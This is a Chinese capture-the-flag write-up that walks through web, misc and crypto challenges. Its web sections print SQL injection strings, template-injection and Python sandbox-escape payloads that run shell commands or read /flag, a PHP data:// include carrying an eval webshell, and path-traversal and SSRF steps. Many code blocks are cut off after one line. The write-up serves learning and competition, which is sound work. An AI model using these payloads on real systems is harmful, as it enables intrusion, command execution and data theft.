MISC
兑换码
题目提示flag在图片下面,我们用010打开图片修改高度
我们将04修改为05,就能在图片下面找到flag了
Web
week1
headach3
我们打开页面,发现页面连接已重置
我们用curl命令打开网站
1 | curl -i http://eci-2zegoa69kgaljcwwcz37.cloudeci1.ichunqiu.com:80 |
得到flag
会赢吗
页面需要我们找到录取通知书,我们打开源码进行查看,发现第一个flag和下一个网页
1 | flag第一部分:ZmxhZ3tXQTB3 |
第二个提示我们跟js有关,我们查看控制台
提示课程名称叫4cqu1siti0n
我们查看js代码
我们要往revealFlag中传入课程名,我们已知课程名,直接传
得到第二部分flag和下一个地方
1 | flag第一部分:ZmxhZ3tXQTB3 |
这一关要我们进行解封,我们查看js代码
它需要state id标签的值为解封,我们直接修改为解封,得到第三部分
1 | flag第一部分:ZmxhZ3tXQTB3 |
点击会赢的,弹出提示要他的领域失效,我们直接禁用js
再次点击,得到最后的flag
1 | flag第一部分:ZmxhZ3tXQTB3 |
我们连起来进行base64解码
得到flag
智械危机
题目提示有个后门,我们打开robots.txt,发现有个文件,我们访问
1 | <?php |
进行代码审计
execute_cmd用来执行命令
我们重点来看decrypt_request
首先将key进行base64解码,然后将cmd逆向进入reversed_cmd
然后将reversed_cmd进行md5加密,再判断hashed_reversed_cmd是否和decoded_key的md5相等,最后再讲cmd进行base64解码,返回这个值
所以我们的思路是先构造好cmd命令,再将其进行base64加密,就是我们要传的cmd参数
key的话,要先将cmd的base64加密的值进行逆向再md5加密
写个加密小脚本
1 | <?php |
我们进行传参
1 | cmd=bHM= //ls |
成功,然后就是找flag文件位置
1 | ls ../../../ |
最后就是输出flag
1 | cat ../../../flag |
具体操作跟上面一样
谢谢皮蛋
sql注入的题,源码给了提示,访问/hint.php,有sql注入语句
我们进行sql注入
1 | -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# |
1 | -1 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g'# |
1 | -1 union select 1,group_concat(id,des,value) from Fl4g# |
PangBai 过家家(1)
我们打开页面,提示头部存在一些东西
我们进行抓包,发现有个新的文件,我们访问
然后我们得到下一关的cookie
我们替换cookie进行访问,进入第二关
第二关提示需要我们ask=miao,我们进行传参
1 | ?ask=miao |
得到第三关的cookie
第三关提示要我们用post传参
我们传完后,得到第四关的cookie
第四关提示我们修改代理人为Papa
我们将User-Agent的Safari修改为Papa
1 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Papa/537.36 |
然后提示我们说玛卡巴卡阿卡哇卡米卡玛卡呣
我们修改say为这个值,得到下一关的cookie
下一关要求我们用修改(PATCH)的方法提交一个补丁包name=”file”; filename=”*.zip”
我们用postman做
我们将content-type改为from-data
然后上传文件,再添加say为玛卡巴卡阿卡哇卡米卡玛卡呣
就进入了下一关,页面提示localhost,我们修改xff为127.0.0.1
得到了jwt的密钥,我们修改关卡为第0关(因为没找到第七关)
再在网页修改cookie
进入第0关
我们点击从梦中醒来,过完剧情就得到了flag(歌挺好听的,真不容易啊)
week2
复读机
我们发现这是一个ssti模版注入的题
但经过我们测试,过滤了class
一旦提交包含class的字符串
bot就会报错
那我们就不使用包含class的ssti注入语句
1 | {%print lipsum.__globals__['__builtins__']['__import__']('os')['popen']('whoami').read()%} |
成功读取到用户名
1 | {%print lipsum.__globals__['__builtins__']['__import__']('os')['popen']('cat ..').read()%} |
你能在一秒内打出八句英文吗
这个题让我们在一秒内打出八句英文,显然我们人力是不可能做到的,所以我们使用python 的requests来提交
由于英文在/start下,我们用BeautifulSoup获取id=text标签名
然后我们进行抓包发现,表格提交到/sumbit下,那我们就能写脚本了
1 | import requests |
得到flag
谢谢皮蛋 plus
经过测试,过滤了空格和and,我们使用联合注入
具体的自己写
1 | -1"/**/union/**/select/**/group_concat(id,des,value),1/**/from/**/Fl4g# |
遗失的拉链
我们扫描目录,发现有个www.zip文件
1 | <?php |
进行代码审计,主要要绕过这个语句
1 | if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']) |
我们使用数组绕过
1 | ?new[]=1 |
绕过后我们进行命令执行,由于eval前面有个echo
我们需要eval里的是文本,那我们就使用print_r加上`来执行命令
1 | cmd=print_r(`tac /f*`) |
得到flag
PangBai 过家家(2)
第一关让我们清点泄漏的文件,那不就是.git文件吗
我们利用GitHack工具把文件夹下载下来
我们使用git命令查看当前项目信息,使用
git log –stat
查看提交历史
使用 git reset HEAD~1
可以回到上一个 Commit,或者直接使用 VSCode 打开泄露出来的 Git 存储库,能够更可视化地查看提交历史。但没什么用
我们查看Stash
1 | git stash list |
我们可以看到 Stash 中含有后门(实际上在 GitHacker 泄漏时就有 stash 的输出信息)
Stash 的作用
有时会遇到这样的情况,我们正在 dev 分支开发新功能,做到一半时有人过来反馈一个 bug,让马上解决,但是又不方便和现在已经更改的内容混杂在一起,这时就可以使用
git stash
命令先把当前进度保存起来。随后便可以即时处理当前要处理的内容。使用git stash pop
则可以将之前存储的内容重新恢复到工作区。又或者,我们已经在一个分支进行了修改,但发现自己修改错了分支,可以通过 Stash 进行存储,然后到其它分支中释放。
一些常见的 Stash 命令如:
git stash
保存当前工作进度,会把暂存区和工作区的改动保存起来。执行完这个命令后,在运行
git status
命令,就会发现当前是一个干净的工作区,没有任何改动。使用git stash save '一些信息'
可以添加一些注释。
git stash pop [-index] [stash_id]
从 Stash 中释放内容,默认为恢复最新的内容到工作区。
使用 git stash pop
恢复后门文件到工作区。
发现了后门文件BacKd0or.v2d23AOPpDfEW5Ca.php
我们进行访问,来到第二关
由于git stash pop将后门释放出去了,我们可以直接查看源码
1 | <?php |
1 | if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) { |
我们主要来看这个正则匹配,对于这个表达式,可以使用换行符绕过。preg_match
默认为单行模式(此时 .
会匹配换行符),但在 PHP 中的该模式下,$
除了匹配整个字符串的结尾,还能够匹配字符串最后一个换行符。
拓展
如果加 D
修饰符,就不匹配换行符:
1 | preg_match('/^Welcome$/D', "Welcome\n") |
但当我们传入NewStar_CTF.2024=Welcome%0a又不能通过了呢,因为这是由 NewStar_CTF.2024
中的特殊字符 .
引起的,PHP 默认会将其解析为 NewStar_CTF_2024
. 在 PHP 7 中,可以使用 [
字符的非正确替换漏洞。当传入的参数名中出现 [
且之后没有 ]
时,PHP 会将 [
替换为 _
,但此之后就不会继续替换后面的特殊字符了,因此,GET 传参 NewStar[CTF.2024=Welcome%0a
即可,随后传入 call_user_func
的参数即可
1 | ?NewStar[CTF.2024=Welcome%0a |
week3
Include Me
1 | <?php |
我们需要将iknow传个值,不然会一直跳转到别的网页
从waf看,题目没有过滤data,那我们可以使用data伪协仪
1 | GET /?iknow=1&me=data:text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzBdKT8+%2B HTTP/1.1 |
需要注意的是,base64加密后不能出现=号
当base64加密后的字符串以’+’结尾,我们需要在气候加上%2B,不然网页会把它解析为空格
臭皮的计算机
我们进入/calc后打开网页源代码,里面有源码
1 | from flask import Flask, render_template, request |
我们发现它过滤了字母,而且存在eval,能够用来进行命令执行
我们使用全角英文和 chr()
字符拼接(或八进制)即可绕过
1 | __import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)) |
用bp发包时,要注意对+进行转义,或者直接写到提交框里
臭皮踩踩背
题目需要用nc连接,给出了部分源码
1 | def ev4l(*args): |
完整源码(wp给的):
1 | print('你被豌豆关在一个监狱里……') |
我们来看看内建函数__builtins__,还有globals是什么,再了解eval()的原理
globals 和 builtins
globals是我们当前的全局变量,如果你声明一个全局变量,它将会存在于当前的globals中,我们可以看一下globals中到底有哪些内容,我们创建一个python会话
1 | >>> globals() |
但是为什么我们能够直接调用open()函数呢?因为 。但是如果访问了 open
函数,如果 globals
中有,那就执行 globals
中的(可能是你自己定义的,因此存在于 globals
空间中),否则,执行 builtins
中的(类似 open
eval
__import__
之类的函数都是在 builtins
中的)。
我们来看看builtins中有什么
1 | >>> globals()['__builtins__'].__dict__.keys() |
可以看到 open
eval
__import__
等函数都在 builtins
中。
eval
eval
函数的第一个参数就是一个字符串,即你要执行的 Python 代码,第二个参数就是一个字典,指定在接下来要执行的代码的上下文中,globals
是怎样的。
题目中,eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l})
这段代码,__builtins__
被设置为 None
,而我们输入的代码就是在这个 builtins
为 None
的上下文中执行的,我们从而失去了直接使用 builtins
中的函数的能力,像下面的代码就会报错(题目中直接输入 print(1)
):
python
1 | >>> eval('print(1)', {"__builtins__": None}) |
由于全局 global
中没有 print
,从而从 builtins
中寻找,而 builtins
为 None
,触发错误。
但注意看,题目刚好给了一个匿名函数 f
,看似无用,实际上参考文档已经给出提示——Python 中「一切皆对象」。故可以利用函数对象的 __globals__
属性来逃逸。我们可以在 Python 终端测试一下:
python
1 | >>> f = lambda: None |
函数的 __globals__
记录的是这个函数所在的 globals
空间,而这个 f
函数是在题目源码的环境中(而不是题目的 eval 的沙箱中),我们从而获取到了原始的 globals
环境,然后我们便可以从这个原始 globals
中获取到原始 builtins
:
python
1 | f.__globals__['__builtins__'] |
深入探究 eval 的 builtin 逻辑
但这里还有一个问题,如果我们直接调用 f.__globals__['__builtins__'].eval
,先不说题目会替换掉 eval
函数(实际上在点号前随便几个空格或者字符串拼接就能绕过,下不赘述),即使我们能够调用,也会报错:
python
1 | >>> f = lambda: None |
为什么呢?可以看 Python 解释器的 builtins
相关的代码: bltinmodule.c.
可见,会检查 globals
中是否已经包含了 builtins
,如果没有,则会通过 PyEval_GetBuiltins()
获取默认的内置函数,并将其添加到 globals
中。
因此,报错的原因便是,我们在 inp
中的 eval
并没有指定 globals
,因此 Python 会将当前调用处的上下文的 globals
作为第二个参数,即使设定了第二个参数但没有指定 __builtins__
,Python 也会自动注入当前上下文中的 builtins
(也就是未指定则继承)。但当前上下文中的 builtins
是 None
,因此会报错。
绕过也很简单,显式指定即可:
python
1 | >>> inp='''f.__globals__['__builtins__'].eval('print(1)', { "__builtins__": f.__globals__['__builtins__'] })''' |
可以看下面的结构树:
python
1 | # In source code |
Payload
1 | 通过读文件 f.__globals__['__builtins__'].open('/flag').read() |
这照片是你吗
1 | <!-- 图标能够正常显示耶! --> |
根据提示,我们可以获得静态文件,但是没有常见的反代服务来区别静态文件和服务型路由
服务端处理文件和路由的逻辑很有可能有漏洞
简单的测试我们能发现目录穿越和任意文件读取
查看 Response Header,能够认出来是 Flask app,常用的 Flask 主程序名为为 app.py
.
目录穿越常用../来返回文件上一层
本题将静态文件存储再来./static中,主程序在static外,那么使用/../app.py就可以读取到文件源码
但需要注意的是若直接在浏览器中访问带
../
的路径,会先被浏览器按照网址路径规则解析一遍../
,最终发出的并不是含这个字符串的路径,因此需要用发包软件发送过去。
1 | from flask import Flask, make_response, render_template_string, request, redirect, send_file |
本题的漏洞代码是 send_file("./static/" + file)
.
与 SQL 注入一样,直接拼接用户可控制输入的字符串是大忌!
通过审计源码,我们知道要用admin用户来登录面板,两种方法:获取密码或者伪造 token
.
而伪造token需要用到secret_key,我们查看生成逻辑
1 | secret_key = get_random_number_string(6) |
6位数数字字符串,很快就能爆破
1 | users = { |
我们在这发现,有一个有效的用户amiya,密码是114514,通过登录,我们可以获得一个有效的token,据此能在本地认证签名 secret_key
的有效性(因为目标主机有认证次数限制)。
先爆破出secret_key,然后查看登录后的逻辑:
前端请求 /execute
指定 api_address
,而 api_address
可控且没有校验,存在 SSRF 漏洞。
定位到源代码开头:
python
1 | from flag import get_random_number_string |
这是出题人故意漏的信息,将函数写在了 flag 模块并 import,提示查看 flag.py
1 | @get_flag.route("/fl4g") |
TIP
Python 程序可以 import 同一目录下的 .py
文件而不必创建 __init__.py
等标记模块的文件。因此这里同级目录下有文件名为 flag.py
的程序,模块名为 flag
.
我们的操作很明确了:利用 /execute
路由的 SSRF 漏洞让服务器自己访问 http://localhost:5001/fl4g
,即访问 /execute?api_address=http://localhost:5001/fl4g
.
EXP 如下:
1 | import time |
Crypto
Base
我们把编码放CyberChef里解一下就出了
xor
1 | from pwn import xor |
得到flag
一眼秒了
简单的rsa
1 | from Crypto.Util.number import long_to_bytes |
这是几次方? 疑惑!
这个题我们直接用yafu分解n秒了
1 | from Crypto.Util.number import long_to_bytes |
Since you konw something
1 | from pwn import xor |
这个题它提示key很短,那我们可以进行爆破
1 | from pwn import xor |
Just one and more than two
1 | from Crypto.Util.number import * |